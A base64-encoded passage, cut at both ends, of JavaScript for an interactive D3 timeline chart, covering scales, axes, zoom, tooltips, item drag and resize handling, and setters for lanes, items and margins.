G4gICAgICAgICAgICAuc3R5bGUoXCJvcGFjaXR5XCIsIDApO1xyXG5cclxuICAgICAgICB4U2NhbGUgPSBkMy50aW1lLnNjYWxlKClcclxuICAgICAgICAgICAgLmRvbWFpbihnZXRUaW1lRG9tYWluKCkpXHJcbiAgICAgICAgICAgIC5yYW5nZShbMCwgbWFyZ2luV2lkdGhdKTtcclxuXHJcbiAgICAgICAgeVNjYWxlID0gZDMuc2NhbGUubGluZWFyKClcclxuICAgICAgICAgICAgLmRvbWFpbihbMCwgbGFuZUxlbmd0aF0pXHJcbiAgICAgICAgICAgIC5yYW5nZShbMCwgbWFyZ2luSGVpZ2h0XSk7XHJcblxyXG4gICAgICAgIHhBeGlzID0gZDMuc3ZnLmF4aXMoKVxyXG4gICAgICAgICAgICAuc2NhbGUoeFNjYWxlKVxyXG4gICAgICAgICAgICAub3JpZW50KCdib3R0b20nKVxyXG4gICAgICAgICAgICAudGlja3Moc2VsZi5kdXJhdGlvbilcclxuXHJcbiAgICAgICAgeUF4aXMgPSBkMy5zdmcuYXhpcygpXHJcbiAgICAgICAgICAgIC5zY2FsZSh5U2NhbGUpXHJcbiAgICAgICAgICAgIC5vcmllbnQoJ2xlZnQnKVxyXG4gICAgICAgICAgICAudGlja3MobGFuZUxlbmd0aClcclxuICAgICAgICAgICAgLnRpY2tGb3JtYXQoXCJcIik7XHJcblxyXG4gICAgICAgIHpvb20gPSBkMy5iZWhhdmlvci56b29tKClcclxuICAgICAgICAgICAgLngoeFNjYWxlKTtcclxuXHJcbiAgICAgICAgbWFpbi5hcHBlbmQoJ2cnKVxyXG4gICAgICAgICAgICAuYXR0cigndHJhbnNmb3JtJywgJ3RyYW5zbGF0ZSgwLCcgKyBtYXJnaW5IZWlnaHQgKyAnKScpXHJcbiAgICAgICAgICAgIC5hdHRyKCdjbGFzcycsICdtYWluIGF4aXMgZGF0ZScpXHJcbiAgICAgICAgICAgIC5jYWxsKHhBeGlzKVxyXG5cclxuICAgICAgICBtYWluLmFwcGVuZCgnZycpXHJcbiAgICAgICAgICAgIC5hdHRyKCdjbGFzcycsICdtYWluIGF4aXMgbGFuZScpXHJcbiAgICAgICAgICAgIC5jYWxsKHlBeGlzKTtcclxuICAgICAgICBcclxuICAgICAgICBpdGVtUmVjdHMgPSBtYWluLmFwcGVuZChcImdcIilcclxuICAgICAgICAgICAgICAgICAgICAgICAgLmF0dHIoXCJjbGlwLXBhdGhcIiwgXCJ1cmwoI2NsaXApXCIpO1xyXG5cclxuICAgICAgICBtYWluLmFwcGVuZCgnZycpXHJcbiAgICAgICAgICAgIC5hdHRyKCdjbGFzcycsICdsYW5lTGFiZWxzJyk7XHJcblxyXG4gICAgICAgIGNoYXJ0LmNhbGwoem9vbSk7XHJcblxyXG4gICAgICAgIGQzLnNlbGVjdCgnaHRtbCcpLm9uKFwiY2xpY2tcIiwgZnVuY3Rpb24oZCkge1xyXG4gICAgICAgICAgICBpZiAoIXNlbGYuaXNFbmFibGVUb29sdGlwKSByZXR1cm47XHJcbiAgICAgICAgICAgIGlmICghZXZlbnQudGFyZ2V0LmNsb3Nlc3QoJ3N2ZyByZWN0JykpIHtcclxuICAgICAgICAgICAgICAgIGhpZGVUb29sdGlwKCk7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9KTtcclxuXHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gY2hhbmdlQ3Vyc29yKGQpIHtcclxuICAgICAgICB2YXIgeCA9IHBhcnNlRmxvYXQoZDMuc2VsZWN0KHRoaXMpLmF0dHIoXCJ4XCIpKSxcclxuICAgICAgICAgICAgd2lkdGggPSBwYXJzZUZsb2F0KGQzLnNlbGVjdCh0aGlzKS5hdHRyKFwid2lkdGhcIikpLFxyXG4gICAgICAgICAgICB4MSA9IHggKyB3aWR0aCA7XHJcblxyXG4gICAgICAgIGlmICgoeCArIHNlbGYubWFyZ2luLmxlZnQgKyByZXNpemVSZWN0TWFyZ2luID49IGQzLmV2ZW50LngpIHx8ICh4MSArIHNlbGYubWFyZ2luLmxlZnQgLSA1IDw9IGQzLmV2ZW50LngpKSB7XHJcbiAgICAgICAgICAgIGQzLnNlbGVjdCh0aGlzKS5hdHRyKFwiY2xhc3NcIiwgZC5jbGFzcyA9PT0gdW5kZWZpbmVkID8gJ3N1Y2Nlc3MnICsgKChzZWxmLmlzRW5hYmxlSXRlbVJlc2l6ZSkgPyBcIiBjdXJzb3ItcmVzaXplXCIgOiBcIiBjdXJzb3ItZGVmYXVsdFwiKSA6IGQuY2xhc3MgKyAoKHNlbGYuaXNFbmFibGVJdGVtUmVzaXplKSA/IFwiIGN1cnNvci1yZXNpemVcIiA6IFwiIGN1cnNvci1kZWZhdWx0XCIpKTtcclxuICAgICAgICB9XHJcbiAgICAgICAgZWxzZSB7XHJcbiAgICAgICAgICAgIGQzLnNlbGVjdCh0aGlzKS5hdHRyKFwiY2xhc3NcIiwgZC5jbGFzcyA9PT0gdW5kZWZpbmVkID8gJ3N1Y2Nlc3MnICsgKChzZWxmLmlzRW5hYmxlRHJhZykgPyBcIiBjdXJzb3ItbW92ZVwiIDogXCIgY3Vyc29yLWRlZmF1bHRcIikgOiBkLmNsYXNzICsgKChzZWxmLmlzRW5hYmxlRHJhZykgPyBcIiBjdXJzb3ItbW92ZVwiIDogXCIgY3Vyc29yLWRlZmF1bHRcIikpO1xyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBkcmFnbW92ZSh0aGlzRWwsIGQpIHtcclxuICAgICAgICB2YXIgeCA9IHBhcnNlRmxvYXQoZDMuc2VsZWN0KHRoaXNFbCkuYXR0cihcInhcIikpLFxyXG4gICAgICAgICAgICB5ID0gcGFyc2VGbG9hdChkMy5zZWxlY3QodGhpc0VsKS5hdHRyKFwieVwiKSksXHJcbiAgICAgICAgICAgIHdpZHRoID0gcGFyc2VGbG9hdChkMy5zZWxlY3QodGhpc0VsKS5hdHRyKFwid2lkdGhcIikpLFxyXG4gICAgICAgICAgICB4MSA9IHggKyB3aWR0aCxcclxuICAgICAgICAgICAgaWQgPSBkMy5zZWxlY3QodGhpc0VsKS5hdHRyKFwiaWRcIiksXHJcbiAgICAgICAgICAgIHhUZXh0ID0gIHBhcnNlRmxvYXQoZDMuc2VsZWN0KFwiI3RleHQtXCIgKyBpZCkuYXR0cihcInhcIikpO1xyXG5cclxuICAgICAgICBpZiAoc2VsZi5pc0VuYWJsZUl0ZW1SZXNpemUgJiYgZC5pc1Jlc2l6ZSkge1xyXG4gICAgICAgICAgICBpZiAoeCArIHJlc2l6ZVJlY3RNYXJnaW4gPj0gZDMuZXZlbnQueCAmJiB4IDw9IHgxIC0gcmVzaXplUmVjdE1hcmdpbikge1xyXG4gICAgICAgICAgICAgICAgZC5zdGFydCA9IERhdGUucGFyc2UoeFNjYWxlLmludmVydCh4ICsgZDMuZXZlbnQuZHgpKTtcclxuICAgICAgICAgICAgICAgIHNob3dUb29sdGlwKGQpO1xyXG5cclxuICAgICAgICAgICAgICAgIGQzLnNlbGVjdCh0aGlzRWwpXHJcbiAgICAgICAgICAgICAgICAgICAgLmF0dHIoXCJ4XCIsIHggKyBkMy5ldmVudC5keClcclxuICAgICAgICAgICAgICAgICAgICAuYXR0cihcIndpZHRoXCIsIHdpZHRoIC0gZDMuZXZlbnQuZHgpO1xyXG5cclxuICAgICAgICAgICAgICAgIGQzLnNlbGVjdChcIiN0ZXh0LVwiICsgaWQpXHJcbiAgICAgICAgICAgICAgICAgICAgLmF0dHIoXCJ4XCIsIHggKyAod2lkdGggKyBkMy5ldmVudC5keCkgLyAyKVxyXG4gICAgICAgICAgICAgICAgICAgIC5hdHRyKFwid2lkdGhcIiwgKHdpZHRoICsgZDMuZXZlbnQuZHgpIC8gMik7XHJcbiAgICAgICAgICAgICAgICByZXR1cm47XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgaWYgKHgxIC0gcmVzaXplUmVjdE1hcmdpbiA8PSBkMy5ldmVudC54ICYmIHggKyA1IDw9IHgxKSB7XHJcbiAgICAgICAgICAgICAgIGQuZW5kID0gRGF0ZS5wYXJzZSh4U2NhbGUuaW52ZXJ0KHBhcnNlRmxvYXQod2lkdGggKyBkMy5ldmVudC5keCkgKyBwYXJzZUZsb2F0KHgpKSlcclxuICAgICAgICAgICAgICAgc2hvd1Rvb2x0aXAoZCk7XHJcblxyXG4gICAgICAgICAgICAgICAgZDMuc2VsZWN0KHRoaXNFbClcclxuICAgICAgICAgICAgICAgICAgICAuYXR0cihcIndpZHRoXCIsIHdpZHRoICsgZDMuZXZlbnQuZHgpO1xyXG4gICAgICAgICAgICAgICAgZDMuc2VsZWN0KFwiI3RleHQtXCIgKyBpZClcclxuICAgICAgICAgICAgICAgICAgICAuYXR0cihcInhcIiwgeCArICh3aWR0aCArIGQzLmV2ZW50LmR4KSAvIDIpXHJcbiAgICAgICAgICAgICAgICAgICAgLmF0dHIoXCJ3aWR0aFwiLCAod2lkdGggKyBkMy5ldmVudC5keCkgLyAyKTtcclxuICAgICAgICAgICAgICAgIHJldHVybjtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuICAgICAgICBpZiAoc2VsZi5pc0VuYWJsZURyYWcgJiYgZC5pc01vdmUpIHtcclxuICAgICAgICAgICAgZC5zdGFydCA9IERhdGUucGFyc2UoeFNjYWxlLmludmVydCh4ICsgZDMuZXZlbnQuZHgpKTtcclxuICAgICAgICAgICAgZC5lbmQgPSBEYXRlLnBhcnNlKHhTY2FsZS5pbnZlcnQocGFyc2VGbG9hdCh3aWR0aCArIGQzLmV2ZW50LmR4KSArIHBhcnNlRmxvYXQoeCkpKVxyXG4gICAgICAgICAgICBzaG93VG9vbHRpcChkKTtcclxuXHJcbiAgICAgICAgICAgIGQzLnNlbGVjdCh0aGlzRWwpXHJcbiAgICAgICAgICAgICAgICAuYXR0cihcInhcIiwgeCArIGQzLmV2ZW50LmR4KVxyXG4gICAgICAgICAgICAgICAgLmF0dHIoXCJ5XCIsIHkgKyBkMy5ldmVudC5keSk7XHJcbiAgICAgICAgICAgIGQzLnNlbGVjdChcIiN0ZXh0LVwiICsgaWQpXHJcbiAgICAgICAgICAgICAgICAuYXR0cihcInhcIiwgeFRleHQgKyBkMy5ldmVudC5keClcclxuICAgICAgICAgICAgICAgIC5hdHRyKFwieVwiLCAoeSArIHNlbGYuaXRlbUhlaWdodC8yKSArIGQzLmV2ZW50LmR5KTtcclxuICAgICAgICB9XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gZHJhZ2VuZCh0aGlzRWwsIGQpIHtcclxuICAgICAgICBpZiAoIXNlbGYuaXNFbmFibGVEcmFnICYmICFzZWxmLmlzRW5hYmxlSXRlbVJlc2l6ZSkgcmV0dXJuO1xyXG4gICAgICAgIHZhciBlbCA9IGQzLnNlbGVjdCh0aGlzRWwpLFxyXG4gICAgICAgICAgICBsYW5lID0gTWF0aC5mbG9vcih5U2NhbGUuaW52ZXJ0KGVsLmF0dHIoXCJ5XCIpKSksXHJcbiAgICAgICAgICAgIHN0YXJ0ID0gZWwuYXR0cihcInhcIiksXHJcbiAgICAgICAgICAgIGlkID0gZWwuYXR0cihcImlkXCIpO1xyXG4gICAgICAgICAgICBcclxuICAgICAgICBpZiAobGFuZSA+PSBzZWxmLmxhbmVzLmxlbmd0aCkge1xyXG4gICAgICAgICAgICBsYW5lID0gc2VsZi5sYW5lcy5sZW5ndGggLSAxO1xyXG4gICAgICAgIH1cclxuICAgICAgICBpZiAobGFuZSA8IDApIHtcclxuICAgICAgICAgICAgbGFuZSA9IDA7XHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBkZWxldGUgZC5pc1Jlc2l6ZTtcclxuICAgICAgICBkZWxldGUgZC5pc01vdmU7XHJcblxyXG4gICAgICAgIGVsLmF0dHIoXCJ5XCIsIHlTY2FsZShsYW5lKSk7XHJcbiAgICAgICAgZDMuc2VsZWN0KFwiI3RleHQtXCIgKyBpZCkuYXR0cihcInlcIiwgeVNjYWxlKGxhbmUpICsgc2VsZi5pdGVtSGVpZ2h0LzIpO1xyXG5cclxuICAgICAgICBkLmxhbmUgPSBsYW5lO1xyXG5cclxuICAgICAgICBkLnN0YXJ0ID0gRGF0ZS5wYXJzZSh4U2NhbGUuaW52ZXJ0KHBhcnNlRmxvYXQoc3RhcnQpKSk7XHJcbiAgICAgICAgXHJcbiAgICAgICAgZC5lbmQgPSBEYXRlLnBhcnNlKHhTY2FsZS5pbnZlcnQocGFyc2VGbG9hdChlbC5hdHRyKFwid2lkdGhcIikpICsgcGFyc2VGbG9hdChzdGFydCkpKTtcclxuICAgICAgICBcclxuICAgICAgICBoaWRlVG9vbHRpcCgpO1xyXG4gICAgICAgIHJlbmRlclN1YmxhbmUoKTtcclxuICAgICAgICByZWRyYXcoKTtcclxuXHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gZHJhZ3N0YXJ0KHRoaXNFbCwgZCkge1xyXG4gICAgICAgIGlmICghc2VsZi5pc0VuYWJsZURyYWcgJiYgIXNlbGYuaXNFbmFibGVJdGVtUmVzaXplKSByZXR1cm47XHJcbiAgICAgICAgdmFyIGN1cnNvciA9IGQzLnNlbGVjdCh0aGlzRWwpLmF0dHIoXCJjbGFzc1wiKTtcclxuICAgICAgICBpZihjdXJzb3IuaW5jbHVkZXMoXCJjdXJzb3ItcmVzaXplXCIpKSB7XHJcbiAgICAgICAgICAgIGQuaXNSZXNpemUgPSB0cnVlXHJcbiAgICAgICAgfVxyXG4gICAgICAgIGVsc2UgaWYoY3Vyc29yLmluY2x1ZGVzKFwiY3Vyc29yLW1vdmVcIikpIHtcclxuICAgICAgICAgICAgZC5pc01vdmUgPSB0cnVlXHJcbiAgICAgICAgfVxyXG5cclxuICAgICAgICBkLm9sZFN0YXJ0ID0gZC5zdGFydDtcclxuICAgICAgICBkLm9sZEVuZCA9IGQuZW5kO1xyXG4gICAgICAgIGQzLmV2ZW50LnNvdXJjZUV2ZW50LnN0b3BQcm9wYWdhdGlvbigpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIGNvcHlTYW1lUHJvcChjb3B5VG8sIGNvcHlGcm9tKSB7XHJcbiAgICAgICAgdmFyIHA7XHJcblxyXG4gICAgICAgIGZvciAocCBpbiBjb3B5RnJvbSkge1xyXG4gICAgICAgICAgICBpZiAoY29weVRvLmhhc093blByb3BlcnR5KHApKSB7XHJcbiAgICAgICAgICAgICAgICBpZiAodG9TdHIuY2FsbChjb3B5RnJvbVtwXSkgPT09IG9zdHIpIHtcclxuICAgICAgICAgICAgICAgICAgICBjb3B5U2FtZVByb3AoY29weVRvW3BdLCBjb3B5RnJvbVtwXSk7XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICBlbHNlIHtcclxuICAgICAgICAgICAgICAgICAgICBjb3B5VG9bcF0gPSBjb3B5RnJvbVtwXTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfVxyXG4gICAgICAgIH1cclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBlbmFibGVEcmFnKGlzRW5hYmxlRHJhZykge1xyXG4gICAgICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHNlbGYuaXNFbmFibGVEcmFnO1xyXG4gICAgICAgIHNlbGYuaXNFbmFibGVEcmFnID0gaXNFbmFibGVEcmFnO1xyXG4gICAgICAgIHJlZHJhdygpO1xyXG4gICAgICAgIHJldHVybiBhcGk7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gZW5hYmxlSXRlbVJlc2l6ZShpc0VuYWJsZUl0ZW1SZXNpemUpIHtcclxuICAgICAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzZWxmLmlzRW5hYmxlSXRlbVJlc2l6ZTtcclxuICAgICAgICBzZWxmLmlzRW5hYmxlSXRlbVJlc2l6ZSA9IGlzRW5hYmxlSXRlbVJlc2l6ZTtcclxuICAgICAgICByZWRyYXcoKTtcclxuICAgICAgICByZXR1cm4gYXBpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIGVuYWJsZVRvb2x0aXAoaXNFbmFibGVUb29sdGlwKSB7XHJcbiAgICAgICAgaWYgKCFhcmd1bWVudHMubGVuZ3RoKSByZXR1cm4gc2VsZi5pc0VuYWJsZVRvb2x0aXA7XHJcbiAgICAgICAgc2VsZi5pc0VuYWJsZVRvb2x0aXAgPSBpc0VuYWJsZVRvb2x0aXA7XHJcbiAgICAgICAgcmVkcmF3KCk7XHJcbiAgICAgICAgcmV0dXJuIGFwaTtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBlbmFibGVab29tKGlzRW5hYmxlWm9vbSkge1xyXG4gICAgICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHNlbGYuaXNFbmFibGVab29tOyAgICAgICAgXHJcbiAgICAgICAgem9vbS5vbihcInpvb21cIiwgKGlzRW5hYmxlWm9vbSkgPyByZWRyYXcgOiBudWxsKTtcclxuICAgICAgICBzZWxmLmlzRW5hYmxlWm9vbSA9IGlzRW5hYmxlWm9vbTtcclxuICAgICAgICByZXR1cm4gYXBpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIGdldExhbmVMZW5ndGgoKSB7XHJcbiAgICAgICAgcmV0dXJuIHNlbGYubGFuZXMubGVuZ3RoOyAvLyhkMy5tYXgoc2VsZi5pdGVtcywgZnVuY3Rpb24oZCkgeyByZXR1cm4gZC5sYW5lIH0pICsgMSkgfHwgMDtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBnZXRNYXJnaW5XaWR0aCgpIHtcclxuICAgICAgICByZXR1cm4gc2VsZi53aWR0aCAtIHNlbGYubWFyZ2luLnJpZ2h0IC0gc2VsZi5tYXJnaW4ubGVmdDtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBnZXRNYXJnaW5IZWlnaHQoKSB7XHJcbiAgICAgICAgcmV0dXJuIHNlbGYuaGVpZ2h0IC0gc2VsZi5tYXJnaW4udG9wIC0gc2VsZi5tYXJnaW4uYm90dG9tO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIGdldFRpbWVEb21haW4oKSB7XHJcbiAgICAgICAgcmV0dXJuIFtcclxuICAgICAgICAgICAgc2VsZi5zdGFydFRpbWUgIHx8IGQzLm1pbihzZWxmLml0ZW1zLCBmdW5jdGlvbihkKSB7IHJldHVybiBkLnN0YXJ0IH0pLFxyXG4gICAgICAgICAgICBzZWxmLmVuZFRpbWUgICAgfHwgZDMubWF4KHNlbGYuaXRlbXMsIGZ1bmN0aW9uKGQpIHsgcmV0dXJuIGQuZW5kIH0pXHJcbiAgICAgICAgXTtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBoaWRlVG9vbHRpcCgpIHtcclxuICAgICAgICB0b29sdGlwRGl2LnRyYW5zaXRpb24oKVxyXG4gICAgICAgICAgICAuZHVyYXRpb24oNTAwKVxyXG4gICAgICAgICAgICAuc3R5bGUoXCJvcGFjaXR5XCIsIDApXHJcbiAgICAgICAgICAgIC5zdHlsZShcImRpc3BsYXlcIiwgXCJub25lXCIpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIGl0ZW1zKG5ld0l0ZW1zKSB7XHJcbiAgICAgICAgdmFyIGl0ZW1zVHlwZSA9IHRvU3RyLmNhbGwobmV3SXRlbXMpO1xyXG5cclxuICAgICAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzZWxmLml0ZW1zO1xyXG5cclxuICAgICAgICBpZiAoaXRlbXNUeXBlICE9PSBhc3RyKSB0aHJvd0Vycm9yKCdFeHBlY3RlZCBhcnJheS4gR290OiAnICsgaXRlbXNUeXBlKTtcclxuXHJcbiAgICAgICAgY2hlY2tSZXF1aXJlSXRlbUZpZWxkKG5ld0l0ZW1zKTtcclxuXHJcbiAgICAgICAgc2VsZi5pdGVtcyA9IG5ld0l0ZW1zO1xyXG4gICAgICAgIFxyXG4gICAgICAgIG9uSXRlbXNDaGFuZ2UoKTtcclxuICAgICAgICByZXR1cm4gYXBpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIGxhbmVzKG5ld0xhbmVzKSB7XHJcbiAgICAgICAgdmFyIGxhbmVzVHlwZSA9IHRvU3RyLmNhbGwobmV3TGFuZXMpO1xyXG4gICAgICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHNlbGYubGFuZXM7XHJcbiAgICAgICAgaWYgKGxhbmVzVHlwZSAhPT0gYXN0cikgdGhyb3dFcnJvcignRXhwZWN0ZWQgYXJyYXkuIEdvdDogJyArIGxhbmVzVHlwZSk7XHJcbiAgICAgICAgc2VsZi5sYW5lcyA9IG5ld0xhbmVzO1xyXG4gICAgICAgIHNlbGYubGFuZXMubGVuZ3RoID0gZ2V0TGFuZUxlbmd0aCgpIHx8IHNlbGYubGFuZXMubGVuZ3RoO1xyXG4gICAgICAgIHNob3dMYW5lTGFiZWwoIXNlbGYuaXNTaG93TGFuZUxhYmVsKTtcclxuICAgICAgICBzaG93TGFuZUxhYmVsKCFzZWxmLmlzU2hvd0xhbmVMYWJlbCk7XHJcbiAgICAgICAgcmV0dXJuIGFwaTtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBhZGRMYW5lcyhuZXdMYW5lKSB7XHJcbiAgICAgICAgdmFyIGxhbmVUeXBlID0gdG9TdHIuY2FsbChuZXdMYW5lKTtcclxuICAgICAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzZWxmLmxhbmVzO1xyXG4gICAgICAgIGlmIChsYW5lVHlwZSAhPT0gc3N0cikgdGhyb3dFcnJvcignRXhwZWN0ZWQgU3RyaW5nLiBHb3Q6ICcgKyBsYW5lVHlwZSk7XHJcbiAgICAgICAgc2VsZi5sYW5lcy5wdXNoKG5ld0xhbmUpO1xyXG4gICAgICAgIG9uTGFuZXNDaGFuZ2UoKTtcclxuICAgICAgICByZXR1cm4gYXBpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIG1hcmdpbihuZXdNYXJnaW4pIHtcclxuICAgICAgICB2YXIgbXNnID0gXCIgbWFyZ2luIHZhbHVlIGlzIGluY29ycmVjdC4gQWxsIHZhbHVlcyBzaG91bGQgYmUgbnVtYmVyc1wiO1xyXG4gICAgICAgIGlmICghYXJndW1lbnRzLmxlbmd0aCkgcmV0dXJuIHNlbGYubWFyZ2luO1xyXG4gICAgICAgIGlmIChuZXdNYXJnaW4udG9wICE9PSB1bmRlZmluZWQpIHtcclxuICAgICAgICAgICAgaWYgKGlzTmFOKG5ld01hcmdpbi50b3ApKSB0aHJvd0Vycm9yKFwiJ1RvcCdcIiArIG1zZyk7XHJcbiAgICAgICAgICAgIHNlbGYubWFyZ2luLnRvcCA9IHBhcnNlSW50KG5ld01hcmdpbi50b3ApO1xyXG4gICAgICAgICAgICBtYWluLmF0dHIoXCJ0cmFuc2Zvcm1cIiwgXCJ0cmFuc2xhdGUoXCIgKyBzZWxmLm1hcmdpbi5sZWZ0ICsgXCIsXCIgKyBzZWxmLm1hcmdpbi50b3AgKyBcIilcIik7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGlmIChuZXdNYXJnaW4ucmlnaHQgIT09IHVuZGVmaW5lZCkge1xyXG4gICAgICAgICAgICBpZiAoaXNOYU4obmV3TWFyZ2luLnJpZ2h0KSkgdGhyb3dFcnJvcihcIidSaWdodCdcIiArIG1zZyk7XHJcbiAgICAgICAgICAgIHNlbGYubWFyZ2luLnJpZ2h0ID0gcGFyc2VJbnQobmV3TWFyZ2luLnJpZ2h0KTtcclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKG5ld01hcmdpbi5ib3R0b20gIT09IHVuZGVmaW5lZCkge1xyXG4gICAgICAgICAgICBpZiAoaXNOYU4obmV3TWFyZ2luLmJvdHRvbSkpIHRocm93RXJyb3IoXCInQm90dG9tJ1wiICsgbXNnKTtcclxuICAgICAgICAgICAgc2VsZi5tYXJnaW4uYm90dG9tID0gcGFyc2VJbnQobmV3TWFyZ2luLmJvdHRvbSk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGlmIChuZXdNYXJnaW4ubGVmdCAhPT0gdW5kZWZpbmVkKSB7XHJcbiAgICAgICAgICAgIGlmIChpc05hTihuZXdNYXJnaW4ubGVmdCkpIHRocm93RXJyb3IoXCInTGVmdCdcIiArIG1zZyk7XHJcbiAgICAgICAgICAgIHNlbGYubWFyZ2luLmxlZnQgPSBwYXJzZUludChuZXdNYXJnaW4ubGVmdCk7XHJcbiAgICAgICAgICAgIG1haW4uYXR0cihcInRyYW5zZm9ybVwiLCBcInRyYW5zbGF0ZShcIiArIHNlbGYubWFyZ2luLmxlZnQgKyBcIixcIiArIHNlbGYubWFyZ2luLnRvcCArIFwiKVwiKTtcclxuICAgICAgICB9XHJcblxyXG4gICAgICAgIHJlc2l6ZSgpO1xyXG4gICAgICAgIHJldHVybiBhcGk7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gb25MYW5lc0NoYW5nZSgpIHtcclxuICAgICAgICB2YXIgbGFuZUxlbmd0aCA9IGdldExhbmVMZW5ndGgoKTtcclxuICAgICAgICB4U2NhbGUuZG9tYWluKGdldFRpbWVEb21haW4oKSk7XHJcbiAgICAgICAgeUF4aXMudGlja3MobGFuZUxlbmd0aCk7XHJcbiAgICAgICAgeVNjYWxlLmRvbWFpbihbMCwgbGFuZUxlbmd0aF0pO1xyXG4gICAgICAgIHpvb20ueCh4U2NhbGUpO1xyXG4gICAgICAgIHNob3dMYW5lTGFiZWwoIXNlbGYuaXNTaG93TGFuZUxhYmVsKTtcclxuICAgICAgICBzaG93TGFuZUxhYmVsKCFzZWxmLmlzU2hvd0xhbmVMYWJlbCk7XHJcbiAgICAgICAgcmVuZGVyU3VibGFuZSgpO1xyXG4gICAgICAgIHJlZHJhdygpO1xyXG4gICAgfVxyXG5cclxuICAgIGZ1bmN0aW9uIG9uSXRlbXNDaGFuZ2UoKSB7XHJcbiAgICAgICAgdmFyIGxhbmVMZW5ndGggPSBnZXRMYW5lTGVuZ3RoKCk7XHJcbiAgICAgICAgc2VsZi5sYW5lcy5sZW5ndGggPSBsYW5lTGVuZ3RoO1xyXG4gICAgICAgIHhTY2FsZS5kb21haW4oZ2V0VGltZURvbWFpbigpKTtcclxuICAgICAgICB5QXhpcy50aWNrcyhsYW5lTGVuZ3RoKTtcclxuICAgICAgICB5U2NhbGUuZG9tYWluKFswLCBsYW5lTGVuZ3RoXSk7XHJcbiAgICAgICAgem9vbS54KHhTY2FsZSk7XHJcbiAgICAgICAgcmVkcmF3KCk7XHJcbiAgICAgICAgcmVkcmF3KCk7XHJcbiAgICAgICAgcmVuZGVyU3VibGFuZSgpOyAgICAgICAgXHJcbiAgICAgICAgXHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gcmVkcmF3KCkge1xyXG4gICAgICAgIHZhciByZWN0cztcclxuXHJcbiAgICAgICAgcmVjdHMgPSBpdGVtUmVjdHMuc2VsZWN0QWxsKFwicmVjdFwiKVxyXG4gICAgICAgICAgICAuZGF0YShzZWxmLml0ZW1zKVxyXG4gICAgICAgICAgICAuYXR0cihcImlkXCIsIGZ1bmN0aW9uKGQpIHsgcmV0dXJuIGQuaWQgfSlcclxuICAgICAgICAgICAgLmF0dHIoXCJ4XCIsIGZ1bmN0aW9uIChkKSB7IHJldHVybiB4U2NhbGUoZC5zdGFydCk7IH0pXHJcbiAgICAgICAgICAgIC5hdHRyKFwieVwiLCBmdW5jdGlvbiAoZCkge1xyXG4gICAgICAgICAgICAgICAgaWYoZC5sYW5lID4gKHNlbGYubGFuZXMubGVuZ3RoIC0gMSkpIHtcclxuICAgICAgICAgICAgICAgICAgICBkLmxhbmUgPSBzZWxmLmxhbmVzLmxlbmd0aCAtIDE7XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICByZXR1cm4gKHNlbGYuc3VibGFuZXMgPCAyKSA/IHlTY2FsZShkLmxhbmUpIDogeVNjYWxlKGQubGFuZSkgKyBkLnN1YmxhbmUqc2VsZi5pdGVtSGVpZ2h0O1xyXG4gICAgICAgICAgICB9KVxyXG4gICAgICAgICAgICAuYXR0cihcIndpZHRoXCIsIGZ1bmN0aW9uIChkKSB7IHJldHVybiB4U2NhbGUoZC5lbmQpIC0geFNjYWxlKGQuc3RhcnQpOyB9KVxyXG4gICAgICAgICAgICAuYXR0cihcImhlaWdodFwiLCBzZWxmLml0ZW1IZWlnaHQpXHJcbiAgICAgICAgICAgIC5hdHRyKFwiY2xhc3NcIiwgZnVuY3Rpb24gKGQpIHsgcmV0dXJuIGQuY2xhc3MgPT09ICB1bmRlZmluZWQgPyAnc3VjY2VzcycgOiBkLmNsYXNzOyB9KVxyXG4gICAgICAgICAgICAuY2FsbChkcmFnKVxyXG4gICAgICAgICAgICAub24oXCJkYmxjbGlja1wiLCBmdW5jdGlvbihkKSB7XHJcbiAgICAgICAgICAgICAgICBmb3IodmFyIGkgPSAwOyBpIDwgc2VsZi5lbmREcmFnLmxlbmd0aDsgaSsrKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgc2VsZi5kb3VibGVDbGlja1tpXSh0aGlzLCBkKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIGQzLmV2ZW50LnN0b3BQcm9wYWdhdGlvbigp